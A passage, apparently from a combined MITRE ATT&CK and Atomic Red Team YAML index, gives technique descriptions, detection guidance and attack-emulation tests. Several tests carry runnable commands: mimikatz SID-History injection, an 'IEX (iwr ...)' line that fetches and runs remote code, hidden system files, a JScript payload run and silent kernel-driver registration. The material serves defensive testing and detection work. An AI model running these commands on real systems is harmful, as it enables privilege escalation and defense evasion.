CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \ \n" supported_platforms: - windows executor: command: '$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = ''Hidden'', ''System'', ''Archive''; Write-Host "File created: $($file.FullName)" ' cleanup_command: '$fileNameToDelete = ''04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog''; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" } ' name: powershell elevation_required: true - name: Execution from Compressed JScript File auto_generated_guid: fad04df1-5229-4185-b016-fb6010cd87ac description: 'Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/ ' supported_platforms: - windows input_arguments: url_path: description: url to download JScript file type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/t1027js.zip dependency_executor_name: powershell dependencies: - description: 'T1027.js must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js" ' cleanup_command: 'taskkill /f /im calculator.exe >nul 2>nul ' name: command_prompt T1556.006: technique: modified: '2024-04-16T00:20:21.488Z' name: Multi-Factor Authentication description: "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Liran Ravich, CardinalOps - Muhammad Moiz Arshad, @5T34L7H x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Google Workspace - Linux - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'User Account: User Account Modification' x_mitre_defense_bypassed: - Multi-Factor Authentication type: attack-pattern id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc created: '2022-05-31T19:31:38.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/006 external_id: T1556.006 - source_name: Russians Exploit Default MFA Protocol - CISA March 2022 description: Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May 31, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: Mandiant APT42 description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.' url: https://www.mandiant.com/media/17826 - source_name: Azure AD Conditional Access Exclusions description: Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022. url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1036.001: technique: x_mitre_platforms: - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52 type: attack-pattern created: '2020-02-10T19:49:46.752Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1036.001 url: https://attack.mitre.org/techniques/T1036/001 - source_name: Threatexpress MetaTwin 2017 url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/ description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019. modified: '2021-04-29T14:49:39.188Z' name: Invalid Code Signature description: |- Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1564.006: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Johann Rehberger - Janantha Marasinghe - Menachem Shafran, XM Cyber object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d type: attack-pattern created: '2020-06-29T15:36:41.535Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1564.006 url: https://attack.mitre.org/techniques/T1564/006 - source_name: SingHealth Breach Jan 2019 url: https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx description: Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020. - source_name: Sophos Ragnar May 2020 url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/ description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020. - source_name: Shadowbunny VM Defense Evasion url: https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/ description: Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021. modified: '2022-04-25T14:00:00.188Z' name: Run Virtual Instance description: |- Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior." x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Image: Image Metadata' - 'Service: Service Creation' - 'Process: Process Creation' - 'File: File Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1564.006 atomic_tests: - name: Register Portable Virtualbox auto_generated_guid: c59f246a-34f8-4e4d-9276-c295ef9ba0dd description: "ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n" supported_platforms: - windows input_arguments: msi_file_path: description: Path to the MSI file type: path default: PathToAtomicsFolder\T1564.006\bin\Virtualbox_52.msi cab_file_path: description: Path to the CAB file type: path default: PathToAtomicsFolder\T1564.006\bin\common.cab dependency_executor_name: powershell dependencies: - description: 'MSI file must exist on disk at specified location (#{msi_file_path}) ' prereq_command: 'if (Test-Path "#{msi_file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{msi_file_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi" -OutFile "#{msi_file_path}" - description: 'CAB file must exist on disk at specified location (#{cab_file_path}) ' prereq_command: 'if (Test-Path "#{cab_file_path}") {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory (split-path \"#{cab_file_path}\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\" -OutFile \"#{cab_file_path}\" \n" - description: 'Old version of Virtualbox must be installed ' prereq_command: 'if (Test-Path "C:\Program Files\Oracle\VirtualBox\VboxC.dll") {exit 0} else {exit 1} ' get_prereq_command: 'msiexec /i "#{msi_file_path}" /qn ' executor: command: | "C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe" /reregserver regsvr32 /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll" rundll32 "C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init" sc create VBoxDRV binpath= "C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys" type= kernel start= auto error= normal displayname= PortableVBoxDRV sc start VBoxDRV cleanup_command: | sc stop VBoxDRV sc delete VBoxDRV regsvr32 /u /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll" msiexec /x "#{msi_file_path}" /qn name: command_prompt - name: Create and start VirtualBox virtual machine auto_generated_guid: 88b81702-a1c0-49a9-95b2-2dd53d755767 description: | Create a simple VirtualBox VM and start up the machine Cleanup command stops and deletes the newly created VM and associated files https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/ https://attack.mitre.org/techniques/T1564/006/ supported_platforms: - windows input_arguments: vm_name: description: Name of the new virtual machine type: string default: Atomic VM virtualbox_exe: description: Path to the VirtualBox executable type: path default: C:\Program Files\Oracle\VirtualBox\VirtualBox.exe vboxmanage_exe: description: Path to the executable for VBoxManage, the command-line interface to VirtualBox type: path default: C:\Program Files\Oracle\VirtualBox\VBoxManage.exe virtualbox_download: description: URL for the current installer for the Windows version of VirtualBox, as of March 2022 type: url default: https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe virtualbox_installer: description: Executable for the Virtualbox installer type: string default: VirtualBox-6.1.32-149290-Win.exe dependency_executor_name: powershell dependencies: - description: 'VirtualBox must exist on disk at specified locations (#{virtualbox_exe}) ' prereq_command: 'if (Test-Path "#{virtualbox_exe}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $wc = New-Object System.Net.WebClient $wc.DownloadFile("#{virtualbox_download}","PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}") start-process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}" -ArgumentList "--silent" -Wait - description: 'VBoxManage must exist on disk at specified locations (#{vboxmanage_exe}) ' prereq_command: 'if (Test-Path "#{vboxmanage_exe}") {exit 0} else {exit 1} ' get_prereq_command: | $wc = New-Object System.Net.WebClient $wc.DownloadFile("#{virtualbox_download}","PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}") start-process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}" -ArgumentList "--silent" -Wait executor: name: command_prompt elevation_required: false command: | "#{vboxmanage_exe}" createvm --name "#{vm_name}" --register "#{vboxmanage_exe}" modifyvm "#{vm_name}" --firmware efi "#{vboxmanage_exe}" startvm "#{vm_name}" cleanup_command: |- "#{vboxmanage_exe}" controlvm "#{vm_name}" poweroff "#{vboxmanage_exe}" unregistervm "#{vm_name}" --delete - name: Create and start Hyper-V virtual machine auto_generated_guid: fb8d4d7e-f5a4-481c-8867-febf13f8b6d3 description: | Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine Cleanup command stops and deletes the newly created VM https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/ https://attack.mitre.org/techniques/T1564/006/ supported_platforms: - windows input_arguments: vm_name: description: Name of the new virtual machine type: string default: Atomic VM dependencies: - description: | Hyper-V must be enabled on the system Checks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart prereq_command: 'if ((Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V).State = "Enabled") {exit 0} else {exit 1} ' get_prereq_command: 'Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All -Force ' executor: name: powershell elevation_required: true command: |- $VM = "#{vm_name}" New-VM -Name $VM -Generation 2 Set-VMFirmware $VM -EnableSecureBoot Off Start-VM $VM cleanup_command: |- Stop-VM $VM -Force Remove-VM $VM -Force T1134.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Alain Homewood, Insomnia Security - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023 type: attack-pattern created: '2020-02-18T18:34:49.414Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1134.005 url: https://attack.mitre.org/techniques/T1134/005 - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017. source_name: Microsoft SID - url: https://msdn.microsoft.com/library/ms679833.aspx description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017. source_name: Microsoft SID-History Attribute - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems description: Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017. source_name: Microsoft Well Known SIDs Jun 2017 - url: https://technet.microsoft.com/library/ee617241.aspx description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017. source_name: Microsoft Get-ADUser - url: https://adsecurity.org/?p=1772 description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.' source_name: AdSecurity SID History Sept 2015 - url: https://msdn.microsoft.com/library/ms677982.aspx description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017. source_name: Microsoft DsAddSidHistory modified: '2022-04-25T14:00:00.188Z' name: 'Access Token Manipulation: SID-History Injection' description: |- Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Process: OS API Execution' - 'User Account: User Account Metadata' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1134.005 atomic_tests: - name: Injection SID-History with mimikatz auto_generated_guid: 6bef32e5-9456-4072-8f14-35566fb85401 description: 'Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller ' supported_platforms: - windows input_arguments: sid_to_inject: description: SID to inject into sidhistory type: string default: S-1-5-21-1004336348-1177238915-682003330-1134 sam_account_name: description: Target account to modify type: string default: "$env:username" mimikatz_path: description: Mimikatz windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: name: command_prompt elevation_required: true command: '#{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}" "exit" ' cleanup_command: '#{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit" ' T1599: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166 created: '2020-10-19T16:08:29.817Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1599 url: https://attack.mitre.org/techniques/T1599 - source_name: Kaspersky ThreatNeedle Feb 2021 url: https://securelist.com/lazarus-threatneedle/100803/ description: Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021. x_mitre_deprecated: false revoked: false description: |- Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Boundary Bridging x_mitre_detection: |- Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_defense_bypassed: - Firewall - System Access Controls x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1553: technique: modified: '2024-03-01T17:17:37.292Z' name: Subvert Trust Controls description: "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Creation' - 'File: File Metadata' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' x_mitre_defense_bypassed: - Anti-virus - Autoruns Analysis - Digital Certificate Validation - User Mode Signature Validation - Windows User Account Control - Application Control type: attack-pattern id: attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7 created: '2020-02-05T14:54:07.588Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1553 external_id: T1553 - source_name: SpectorOps Code Signing Dec 2017 description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018. url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - source_name: SpectorOps Subverting Trust Sept 2017 description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018. url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf - source_name: Securelist Digital Certificates description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016. url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ - source_name: Symantec Digital Certificates description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016. url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1548.004: technique: modified: '2022-11-08T14:00:00.188Z' name: Elevated Execution with Prompt description: "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior 